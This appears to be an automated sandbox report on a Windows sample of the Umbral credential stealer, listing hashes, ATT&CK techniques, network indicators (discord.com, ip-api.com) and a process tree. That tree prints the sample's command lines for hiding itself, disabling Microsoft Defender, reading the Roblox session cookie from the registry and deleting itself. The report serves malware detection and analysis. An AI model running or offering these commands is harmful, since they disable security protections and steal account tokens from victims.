umbral | aa59ece71acd81ec09202b22af8e1a9d5664412d9bc99c9aa8ea1522467cc128

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
17-10-2024 20:54

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General

Target

test.exe
Size

227KB
MD5

7132f3f19b959294d470c06af357e192
SHA1

feb85b0836d9a52af2648174e4f53268ca20a309
SHA256

aa59ece71acd81ec09202b22af8e1a9d5664412d9bc99c9aa8ea1522467cc128
SHA512

b2dc88639c96e83a7138c361f43b52bdd62aa17af347fe46b1c007752c6c3e745e3188c6d8e89e4fcf68a506135eb94e9afa190a9b06acbd6304cc3d37ef2491
SSDEEP

6144:eloZM9rIkd8g+EtXHkv/iD40tVZQWRJ66vSgR1EsUcb8e1myi:IoZOL+EP80tVZQWRJ66vSgR1Eu8

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2256-1-0x0000000000D50000-0x0000000000D90000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2716	powershell.exe
2764	powershell.exe
2000	powershell.exe
2108	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	test.exe

Deletes itself 1 IoCs

pid	Process
2244	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2244	cmd.exe
2196	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3024	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2196	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2108	powershell.exe
2716	powershell.exe
2764	powershell.exe
2608	powershell.exe
2000	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2256	test.exe
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeIncreaseQuotaPrivilege	2296	wmic.exe
Token: SeSecurityPrivilege	2296	wmic.exe
Token: SeTakeOwnershipPrivilege	2296	wmic.exe
Token: SeLoadDriverPrivilege	2296	wmic.exe
Token: SeSystemProfilePrivilege	2296	wmic.exe
Token: SeSystemtimePrivilege	2296	wmic.exe
Token: SeProfSingleProcessPrivilege	2296	wmic.exe
Token: SeIncBasePriorityPrivilege	2296	wmic.exe
Token: SeCreatePagefilePrivilege	2296	wmic.exe
Token: SeBackupPrivilege	2296	wmic.exe
Token: SeRestorePrivilege	2296	wmic.exe
Token: SeShutdownPrivilege	2296	wmic.exe
Token: SeDebugPrivilege	2296	wmic.exe
Token: SeSystemEnvironmentPrivilege	2296	wmic.exe
Token: SeRemoteShutdownPrivilege	2296	wmic.exe
Token: SeUndockPrivilege	2296	wmic.exe
Token: SeManageVolumePrivilege	2296	wmic.exe
Token: 33	2296	wmic.exe
Token: 34	2296	wmic.exe
Token: 35	2296	wmic.exe
Token: SeIncreaseQuotaPrivilege	2296	wmic.exe
Token: SeSecurityPrivilege	2296	wmic.exe
Token: SeTakeOwnershipPrivilege	2296	wmic.exe
Token: SeLoadDriverPrivilege	2296	wmic.exe
Token: SeSystemProfilePrivilege	2296	wmic.exe
Token: SeSystemtimePrivilege	2296	wmic.exe
Token: SeProfSingleProcessPrivilege	2296	wmic.exe
Token: SeIncBasePriorityPrivilege	2296	wmic.exe
Token: SeCreatePagefilePrivilege	2296	wmic.exe
Token: SeBackupPrivilege	2296	wmic.exe
Token: SeRestorePrivilege	2296	wmic.exe
Token: SeShutdownPrivilege	2296	wmic.exe
Token: SeDebugPrivilege	2296	wmic.exe
Token: SeSystemEnvironmentPrivilege	2296	wmic.exe
Token: SeRemoteShutdownPrivilege	2296	wmic.exe
Token: SeUndockPrivilege	2296	wmic.exe
Token: SeManageVolumePrivilege	2296	wmic.exe
Token: 33	2296	wmic.exe
Token: 34	2296	wmic.exe
Token: 35	2296	wmic.exe
Token: SeIncreaseQuotaPrivilege	2084	wmic.exe
Token: SeSecurityPrivilege	2084	wmic.exe
Token: SeTakeOwnershipPrivilege	2084	wmic.exe
Token: SeLoadDriverPrivilege	2084	wmic.exe
Token: SeSystemProfilePrivilege	2084	wmic.exe
Token: SeSystemtimePrivilege	2084	wmic.exe
Token: SeProfSingleProcessPrivilege	2084	wmic.exe
Token: SeIncBasePriorityPrivilege	2084	wmic.exe
Token: SeCreatePagefilePrivilege	2084	wmic.exe
Token: SeBackupPrivilege	2084	wmic.exe
Token: SeRestorePrivilege	2084	wmic.exe
Token: SeShutdownPrivilege	2084	wmic.exe
Token: SeDebugPrivilege	2084	wmic.exe
Token: SeSystemEnvironmentPrivilege	2084	wmic.exe
Token: SeRemoteShutdownPrivilege	2084	wmic.exe
Token: SeUndockPrivilege	2084	wmic.exe
Token: SeManageVolumePrivilege	2084	wmic.exe
Token: 33	2084	wmic.exe
Token: 34	2084	wmic.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2256 wrote to memory of 2640	2256	test.exe	31
PID 2256 wrote to memory of 2640	2256	test.exe	31
PID 2256 wrote to memory of 2640	2256	test.exe	31
PID 2256 wrote to memory of 2108	2256	test.exe	33
PID 2256 wrote to memory of 2108	2256	test.exe	33
PID 2256 wrote to memory of 2108	2256	test.exe	33
PID 2256 wrote to memory of 2716	2256	test.exe	35
PID 2256 wrote to memory of 2716	2256	test.exe	35
PID 2256 wrote to memory of 2716	2256	test.exe	35
PID 2256 wrote to memory of 2764	2256	test.exe	37
PID 2256 wrote to memory of 2764	2256	test.exe	37
PID 2256 wrote to memory of 2764	2256	test.exe	37
PID 2256 wrote to memory of 2608	2256	test.exe	39
PID 2256 wrote to memory of 2608	2256	test.exe	39
PID 2256 wrote to memory of 2608	2256	test.exe	39
PID 2256 wrote to memory of 2296	2256	test.exe	41
PID 2256 wrote to memory of 2296	2256	test.exe	41
PID 2256 wrote to memory of 2296	2256	test.exe	41
PID 2256 wrote to memory of 2084	2256	test.exe	44
PID 2256 wrote to memory of 2084	2256	test.exe	44
PID 2256 wrote to memory of 2084	2256	test.exe	44
PID 2256 wrote to memory of 1704	2256	test.exe	46
PID 2256 wrote to memory of 1704	2256	test.exe	46
PID 2256 wrote to memory of 1704	2256	test.exe	46
PID 2256 wrote to memory of 2000	2256	test.exe	48
PID 2256 wrote to memory of 2000	2256	test.exe	48
PID 2256 wrote to memory of 2000	2256	test.exe	48
PID 2256 wrote to memory of 3024	2256	test.exe	50
PID 2256 wrote to memory of 3024	2256	test.exe	50
PID 2256 wrote to memory of 3024	2256	test.exe	50
PID 2256 wrote to memory of 2244	2256	test.exe	52
PID 2256 wrote to memory of 2244	2256	test.exe	52
PID 2256 wrote to memory of 2244	2256	test.exe	52
PID 2244 wrote to memory of 2196	2244	cmd.exe	54
PID 2244 wrote to memory of 2196	2244	cmd.exe	54
PID 2244 wrote to memory of 2196	2244	cmd.exe	54

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2640	attrib.exe

C:\Users\Admin\AppData\Local\Temp\test.exe
"C:\Users\Admin\AppData\Local\Temp\test.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2256
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\test.exe"
  2⤵
  - Views/modifies file attributes
  PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\test.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2296
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2084
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2000
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3024
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\test.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2244
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9d317062d193b2e26942cedf619a5a6f

SHA1
347f25adaa494e64840975c5c052b9fb7453ab07

SHA256
d9ee5225d765d5b328821b71468efb37172b71ec858f9723b008e168c73f0a73

SHA512
44600da8350195046ad7dc71c8c8c8540cd2871cbe41245a173feab544ecc421316ebad04e0ab9ee62a5f58153a02682f46096a00cfdd66fffcd93b5b14d42bc

Download Submit
memory/2000-47-0x0000000002720000-0x0000000002728000-memory.dmp

Filesize
32KB

Download
memory/2108-8-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2108-9-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2108-12-0x0000000002DFB000-0x0000000002E62000-memory.dmp

Filesize
412KB

Download
memory/2108-11-0x0000000002DF4000-0x0000000002DF7000-memory.dmp

Filesize
12KB

Download
memory/2108-10-0x000007FEEDEE0000-0x000007FEEE87D000-memory.dmp

Filesize
9.6MB

Download
memory/2108-7-0x000007FEEE19E000-0x000007FEEE19F000-memory.dmp

Filesize
4KB

Download
memory/2108-52-0x000007FEEDEE0000-0x000007FEEE87D000-memory.dmp

Filesize
9.6MB

Download
memory/2256-0-0x000007FEF53E3000-0x000007FEF53E4000-memory.dmp

Filesize
4KB

Download
memory/2256-2-0x000007FEF53E0000-0x000007FEF5DCC000-memory.dmp

Filesize
9.9MB

Download
memory/2256-1-0x0000000000D50000-0x0000000000D90000-memory.dmp

Filesize
256KB

Download
memory/2256-51-0x000007FEF53E0000-0x000007FEF5DCC000-memory.dmp

Filesize
9.9MB

Download
memory/2716-18-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2716-19-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download